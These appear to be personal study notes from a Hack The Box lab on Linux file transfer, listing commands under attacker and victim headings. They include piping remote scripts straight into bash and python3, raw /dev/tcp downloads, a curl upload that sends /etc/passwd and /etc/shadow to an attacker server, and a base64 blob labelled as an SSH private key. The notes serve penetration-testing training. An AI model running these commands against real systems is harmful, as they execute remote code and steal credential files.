Recap Linux

vendredi 4 octobre 2024 4:11 PM

Operation	Techniques
Downloads	

Base64 Encoding / Decoding

Pwnbox [Attacker] - Check File MD5 hash & Encode SSH Key to Base64

```
Djerbien@htb[/htb]$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278 id_rsa
```

```
Djerbien@htb[/htb]$ cat id_rsa |base64 -w 0;echo
```

Linux [Victim] - Decode the File & verify md5 checksum

```
Djerbien@htb[/htb]$ echo -n
'LS0tLS1CRUdJTiBPUEVOU1NlIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmlybXdLYklueldaTUxNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBRREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPClVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJrakIxL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmlyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUUUzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjaIRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRk
MUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhkCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdOObEFRSURCQVVHCi0tLS0tRU5EIE9QR
U5TU0ggUFJJVkFURSBLRVktLS0tLQo=' | base64 -d > id_rsa
```

Finally, we can confirm if the file was transferred successfully using the md5sum command.

```
Djerbien@htb[/htb]$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278 id_rsa
```

Web Downloads with Wget and cURL

Download a File Using wget

```
Djerbien@htb[/htb]$ wget
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
```

Download a File Using cURL

```
Djerbien@htb[/htb]$ curl -o /tmp/LinEnum.sh
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

Fileless Attacks Using Linux

Fileless Download with cURL

```
Djerbien@htb[/htb]$ curl
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
```

Fileless Download with wget

```
Djerbien@htb[/htb]$ wget -qO-
https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Hello World!
```

Download with Bash (/dev/tcp)

Connect to the Target Webserver

```
Djerbien@htb[/htb]$ exec 3<>/dev/tcp/10.10.10.32/80
```

HTTP GET REQUEST

```
Djerbien@htb[/htb]$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
```

PRINT THE RESPONSE

```
Djerbien@htb[/htb]$ cat <&3
```

SSH Downloads

Enabling the SSH Server

```
Djerbien@htb[/htb]$ sudo systemctl enable ssh
```

```
Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Use of uninitialized value $service in hash element at /usr/sbin/update-rc.d line 26, <DATA> line 45
...SNIP...
```

Starting the SSH Server

```
Djerbien@htb[/htb]$ sudo systemctl start ssh
```

Linux - Downloading Files Using SCP

```
Djerbien@htb[/htb]$ scp plaintext@192.168.49.128:/root/myroot.txt  .
```

Note :
You can **create a temporary user account** for file transfers and **avoid using your primary credentials or keys on a remote computer.**

Upload

Web Upload

Pwnbox - Install uploadserver

```
$ sudo python3 -m pip install  uploadserver
```

```
$ sudo /root/.local/bin/uploadserver 443 --server-certificate ../server.pem
```

Now we need to create a certificate. In this example, we are using a self-signed certificate.

Pwnbox - Create a Self-Signed Certificate

```
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj
'/CN=server'
```

The webserver should not host the certificate. We recommend creating a new directory to host the file for our webserver.

Pwnbox - Start uploadserver

```
Djerbien@htb[/htb]$ mkdir https && cd https
```

```
Djerbien@htb[/htb]$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
```

Linux - Upload Multiple Files

```
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F
'files=@/etc/shadow' --insecure
```

We used the option **--insecure because we used a self-signed certificate** that we trust. With get use **--no-check-certificate**

Alternative Web File Transfer Method

Linux - Creating a Web Server with Python3

```
$ python3 -m http.server
```

Linux - Creating a Web Server with Python2.7

```
$ python2.7 -m SimpleHTTPServer
```

Linux - Creating a Web Server with PHP

```
$ php -S 0.0.0.0:8000
```

Linux - Creating a Web Server with Ruby

```
$ ruby -run -ehttpd . -p8000
```

Download the File from the Target Machine onto the Pwnbox

```
$ wget 192.168.49.128:8000/filetotransfer.txt
```

Note: When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file.

SCP Upload

File Upload using SCP

```
$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
```

.